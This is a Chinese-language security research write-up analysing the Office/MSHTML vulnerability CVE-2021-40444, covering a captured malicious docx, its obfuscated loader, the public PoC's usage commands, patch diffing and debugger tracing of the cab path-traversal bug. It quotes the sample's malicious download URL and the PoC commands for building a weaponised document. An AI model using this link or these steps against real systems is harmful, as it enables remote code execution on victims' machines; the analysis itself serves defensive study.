CVE-2021-40444 漏洞深入分析

作者：sunglin@知道創宇404實驗室
時間：2021年9月18日

前言:
CVE-2021-40444的披露，引爆了全球的網絡安全，雖然最近微軟發布了補丁，但是CVE-2021-40444的利用卻越發猖狂，本人深入分析了這個漏洞。

0x00 0day樣本分析

拿到樣本的第一時間，便在自己的沙箱環境下面運行了下，并且從網上下載的docx，微軟默認會開啟保護模式，我這里是本地打開的，基本內容如下，全都是文字內容，基本上沒發現什么:

但是在rels的document.xml文件中發現了鏈接Target="mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html"

可以發現其是指向文件的更新鏈接

從樣本庫眾獲取到mountain.html后，我們打開一看，發現全部都混淆了，基本難辨真假，去混淆也比較簡單

因為是js代碼，隨便找個網上去混淆的試試，比如http://jsnice.org/，將混淆的代碼粘貼上去后，一鍵試下

基本代碼的輪廓就有了，它所有的字符串都會采用數組var a0_0x127f經過function a0_0x15ec進行拼接與置換

這就很簡單了，我通過普通腳本再一次去混淆：

經過簡單的靜態分析與調試，基本上就是它會去請求服務器獲取一個cab文件，并且會通過執行cpl文件去執行一個inf

然后通過樣本庫獲取到這個cab，初步分析這個cab，發現了其解壓路徑是../championship.inf，并且標志cafile的大小是0x415c00，cab文件格式[1]對應如下

最后將惡意的url改成我們自己搭建的http server，之后成功復現樣本攻擊環境，并且捕捉到了樣本通過rundll32執行了命令

0x01 cve-2021-40444漏洞的分析與利用

cve-2021-40444的poc很快公開在了github[2]上，poc的使用很簡單,通過sudo python3 exploit.py host 80開啟簡單的http server服務器，python3 exploit.py generate test/calc.dll ip生成包含有漏洞的docx：

假如我們現在有一個正常的docx，可以通過以下添加稍加修改，就成了可以包含cve-2021-40444漏洞的docx了

0x02 cve-2021-40444的補丁對比

通過ProcessMonitor監控我們可以獲得其創建和讀取cab文件的行為，其調用堆棧如下：

9月14號，微軟發布了cve-2021-40444的補丁，經過補丁分析發現，urlmon.dll模塊的catDirAndFile對路徑驗證做了修改,將'/'替換成了'\\',防止路徑遍歷：

0x03漏洞調試

調試之前，我們首先了解下微軟對cab文件的api處理如下https://docs.microsoft.com/en-us/windows/win32/api/fdi/：

這些api包括了對cab文件的解析和讀寫操作等，urlmon模塊通過調用cabinet模塊中的這些api來處理cab文件的

首先docx觸發get請求后會通過mshtml模塊來處理，并且對cab文件的處理將會進入urlmon,之后在urlmon!GetSupportedInstallScopesFromFile這個api開始處理cab文件：

獲取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab先通過GetExtnAndBaseFileName去判斷文件后綴名是不是cab：

然后通過CreateUniqueCabTempDir創建臨時文件夾，比如我這里是C:\Users\l\AppData\Local\Temp\Cab369A，進入api ExtractInfFile后，將會繼續調用Extract，在Extract將會第一次調用到FDICreate[3]和FDICopy[4],來獲取cab的信息

FDICreate主要是對其他讀寫api等進行初始化操作：

而FDICopy主要就是提取cab文件的信息了

進入CABINET!FDICopy后將會調用LoginCabinet來提取cab的0x24大小的head信息，比如包括對頭部MSCF標志的判斷：

之后將會進入CABINET!LoginCabinet、CABINET!FDICallEnumerate分別對應信息FNFDINOTIFY的fdintCABINET_INFO、fdintENUMERATE，再一次進入urlmon!fdiNotifyExtract后獲取CFFILE file的信息，而對應的標志是0x02：

獲取到初始化結構體后將會在urlmon!ExtractInfFile調用urlmon!ExtractOneFile：

而在urlmon!ExtractOneFile中將會給(a4+0x202)賦值結構體lpsz，將會確保在調用urlmon!NeedFile成功返回：

之后將會繼續以標志fdintCOPY_FILE(0x02)繼續調用urlmon!fdiNotifyExtract，繼續調用urlmon!catDirAndFile繼續路徑字符串格式化，而我們傳入的inf路徑是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf

最后退出urlmon!catDirAndFile將會在urlmon!fdiNotifyExtract中調用Win32Open：

而在Win32Open中將會調用CreateFileA，以路徑C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf創建文件msword.inf，因為路徑存在目錄遍歷問題，所有將會在C:\Users\l\AppData\Local\Temp\msword.inf創建文件：

成功創建msword.inf文件后將會繼續成功調用CABINET!FDIGetFile，在CABINET!FDIGetFile中將會以第一個CFDATA data大小數據寫入到文件中，之后caFile(實際為解壓文件大小)將會減去寫入的CFDATA data大小，接著進行比較直到將所有的caFile大小寫入，而這里我們的caFile大小是0x415c0000,遠遠大于實際的CFDATA的總大小，所以將會在調用最后一次CABINET!FDIGetDataBlock獲取塊的時候失敗并退出：

雖然退出了，但不影響實際寫入文件的數據，并且因為這個失敗將不會在urlmon!DeleteExtractedFiles調用DeleteFileA,因為v2[2]的標志未清0，所以不會刪除臨時文件，從而我們創建的msword.inf得以保存，并且在后續中可以直接以cpl文件去運行C:\Users\l\AppData\Local\Temp\msword.inf

而正常的提取cab文件將會以標志fdintCLOSE_FILE_INFO(0x03)進入，調用urlmon!MarkExtracted，將標志清0：

至此，從獲取到cab文件到提取解析，并且觸發目錄遍歷漏洞過程分析完畢。

而網上有大佬有公布以最簡潔的方式觸發了[5]這個漏洞，并且可以在ie中復現成功。

0x04 url scheme

注：2021年9月18日更新

? 前幾個章節都介紹了漏洞的利用方法和cab目錄遍歷漏洞的詳細分析，總結一下整個cve-2021-40444的利用鏈首先請求目標鏈接下載一個cab臨時文件，通過目錄遍歷漏洞保存inf文件在固定路徑，然后通過執行cpl文件的方式去執行inf文件，執行cpl文件的方式可以稱為url scheme，url scheme 功能，簡單來講就是「通過 url 可以啟動某一個本地的應用程序」，關于url scheme的詳細分析可以參考同事0x7F@知道創宇404實驗室的分析[6]

? 通過運行cpl文件的命令可以在注冊表找到，執行的命令是%SystemRoot%\System32\control.exe "%1",%*，這是典型的url scheme的方式，如圖下：

而這種url sheme的方式在cve-2021-40444中被濫用，cpl文件是windows控制面板擴展項，在系統安裝目錄的system32下面有一系列.cpl文件，cpl文件本質是windows可執行性文件，但不屬于可直接獨立運行的文件，通常由shell32.dll打開，所以本質上就是dll文件。

通過cab文件觸發目錄遍歷的漏洞釋放惡意的dll到固定目錄，所以通過文件類型url scheme的cpl文件方式執行dll，所以構成cve-2021-40444的完整利用鏈。

微軟發布的補丁除了應對cab目錄遍歷漏洞，相應的對這種文件類型的url scheme的方式做了補丁限制。

url scheme的調用方式將會直接調用ShellExecuteW來執行文件，ie將會在函數ieframe!CProtocolWarnDlg::_SetProtocolHandlerInfo處理文件類型的url scheme，而word將會在mshtml!ShellExecURL中，微軟補丁后限制如下，主要添加的api如IsValidSchemeName